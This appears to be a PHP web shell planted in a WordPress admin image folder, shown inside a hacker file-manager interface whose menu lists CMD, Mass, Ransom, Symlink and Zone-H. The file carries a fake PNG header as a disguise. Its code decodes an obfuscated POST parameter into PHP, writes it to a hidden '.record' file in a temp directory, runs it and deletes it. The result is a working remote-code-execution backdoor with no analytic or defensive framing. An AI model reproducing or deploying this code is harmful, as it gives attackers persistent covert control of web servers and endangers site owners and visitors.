\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/eceas/wp-admin/img/js/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-admin/img/js/webdb_view_test2.php |
<?php
if(@$_POST["des\x63\x72\x69p\x74\x6Fr"] !== null){
$binding = array_filter([getenv("TMP"), "/dev/shm", "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]);
$factor = $_POST["des\x63\x72\x69p\x74\x6Fr"];
$factor = explode (".", $factor ) ;
$hld = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $s );
$len = count( $factor );
for( $q = 0; $q < $len; $q++) { $v6 = $factor[$q];
$chS = ord( $s[$q% $sLen] );
$dec =( ( int)$v6 - $chS -( $q% 10)) ^ 61;
$hld .= chr( $dec );
}
foreach ($binding as $data):
if (array_product([is_dir($data), is_writable($data)])) {
$resource = sprintf("%s/.record", $data);
if (file_put_contents($resource, $hld)) {
require $resource;
unlink($resource);
die();
}
}
endforeach;
}